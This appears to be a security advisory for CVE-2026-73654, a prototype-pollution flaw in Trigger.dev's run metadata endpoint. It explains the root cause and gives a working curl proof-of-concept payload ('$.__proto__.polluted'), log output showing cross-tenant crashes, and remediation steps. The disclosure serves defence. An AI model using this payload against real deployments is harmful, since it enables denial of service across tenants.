@trigger.dev/core
Affected
- introduced
3.3.8, fixed4.5.6(semver)
Fixed versions
4.5.6
Fix
- Fixed version
4.5.6npm install @trigger.dev/[email protected]
Advisory
Also known as: CVE-2026-73654
Trigger.dev: Prototype pollution via run metadata operations → process-wide cross-tenant DoS
Summary
The run-metadata update endpoint PUT /api/v1/runs/:runId/metadata applies client-supplied
"operations" by passing the attacker-controlled `operation.key` straight intonew JSONHeroPath(operation.key).set(newMetadata, value)
(packages/core/src/v3/runMetadata/operations.ts:22-23), with no prototype-pollution guard
(@jsonhero/path@^1.0.21 does not reject __proto__/constructor/prototype).
A request with key: "$.__proto__.polluted" sets `Object.prototype.polluted` in the webapp
process. Because every plain object then inherits that property, it corrupts unrelated code
process-wide and across tenants — including Prisma query building and the Prometheus metrics
client — causing query failures, broken authentication for other tenants' workers, and anuncaughtException (denial of service). Only a normal, low-privilege environment API key is
required (one request).
Severity
A single request from any holder of a normal environment API key contaminates Object.prototype
in the shared webapp process, breaking other tenants' workers (scope change) and degrading/
crashing the process (high availability impact). Prototype pollution is also a primitive for
further gadget chains (integrity/confidentiality).
Affected versions
34f8bd588 ("Add ability to update parent and root run metadata from children", PR #1563, 2025-01-08) — the JSONHeroPath(operation.key).set() sink is present from the first commit of operations.ts. SDK was at 3.3.8 at that time.4.5.0-rc.7); operations.ts unchanged since 2025-05, and @jsonhero/path is pinned at ^1.0.21 (no proto-guard) throughout.>= v3.3.8 (metadata operations API) through v4-beta / current v4.x — fixed: 4.5.6.Root cause
packages/core/src/v3/runMetadata/operations.ts — applyMetadataOperations() builds a path from
the untrusted operation.key and writes to it, for every operation type (set, append,increment, …):
const path = new JSONHeroPath(operation.key); // operation.key fully attacker-controlled
path.set(newMetadata, operation.value); // no __proto__/constructor/prototype rejection
The request schema (UpdateMetadataRequestBody) types key as a plain string with no validation,
and @jsonhero/[email protected] walks __proto__ as an ordinary segment → the assignment lands onObject.prototype.
Proof of Concept
Self-host ghcr.io/triggerdotdev/trigger.dev:v4-beta. Authenticated with a **normal environment
API key** (tr_dev_…) and any run id of that environment.
curl -X PUT "http://localhost:8030/api/v1/runs/run_cmqr2bsyo00013js2twwhdsfu/metadata" \
-H "Authorization: Bearer tr_dev_<env_key>" -H "Content-Type: application/json" \
--data '{"operations":[{"type":"set","key":"$.__proto__.polluted","value":"PWNED"}]}'
Result — `Object.prototype.polluted = "PWNED"` process-wide. Observed in the webapp logs:
polluted:"PWNED" injected into every object Prisma enumerates: prisma.taskRun.updateMany({ where:{ id:"…", metadataVersion:2, polluted:"PWNED" },
data:{ …, metadataVersion:{ increment:1, polluted:"PWNED" }, polluted:"PWNED" }, polluted:"PWNED" })
-> Unknown argument `polluted`
POST /engine/v1/dev/dequeue) fails inside findEnvironmentByApiKey: prisma.runtimeEnvironment.findFirst({ where:{ apiKey:"…", polluted:"PWNED" },
include:{ project:true, …, polluted:"PWNED" } }) -> PrismaClientValidationError
i.e. one tenant's request breaks authentication for other tenants' workers → their jobs stop
being dequeued/processed.
uncaughtException in prom-client (Error: Added label "polluted" is not included in initial labelset: [ 'kind' ]) crashes the webapp process. Demonstrated with a second tenant: Tenant B (a *different* org/env, with its own API key) had a working request (POST /engine/v1/dev/dequeue → HTTP 400, auth OK) before the attack; immediately after Tenant A's single attack request, B's request returned HTTP 000 (no response) — the whole multi-tenant webapp was down. Logs show the crash at 20:53:41 and the process auto-restarting ~3s later (FairQueue/ScheduleEngine started). Repeating the attack in a loop yields a crash-loop = sustained DoS for all tenants.*(Note: the metadata endpoint itself swallows the Prisma failure with ignoreError:true and still
returns HTTP 200 — the damage is the process-wide contamination observed in the logs, not the
endpoint's status code.)*
Impact
A low-privilege caller (one normal environment API key, one request) pollutes Object.prototype
in the shared multi-tenant webapp process, causing:
uncaughtException crashes the webapp process, taking the service down for all tenants (demonstrated: a second tenant's request returned HTTP 000 immediately after the attack). Repeating the request produces a crash-loop / sustained DoS. Even without the crash, contaminated Prisma queries break other tenants' worker authentication, halting job processing.Suggested remediation
operation.key before building the path — block __proto__, constructor, prototype (and validate the $.-rooted JSONHero path shape).Object.create(null)) and/or use a pollution-safe setter, so __proto__ cannot reach Object.prototype.@jsonhero/path for a version that is prototype-pollution safe, or wrap its .set() with a guard.High Basis: The source's own band: HIGH
3.3.8, fixed 4.5.6 (semver)4.5.6
4.5.6npm install @trigger.dev/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0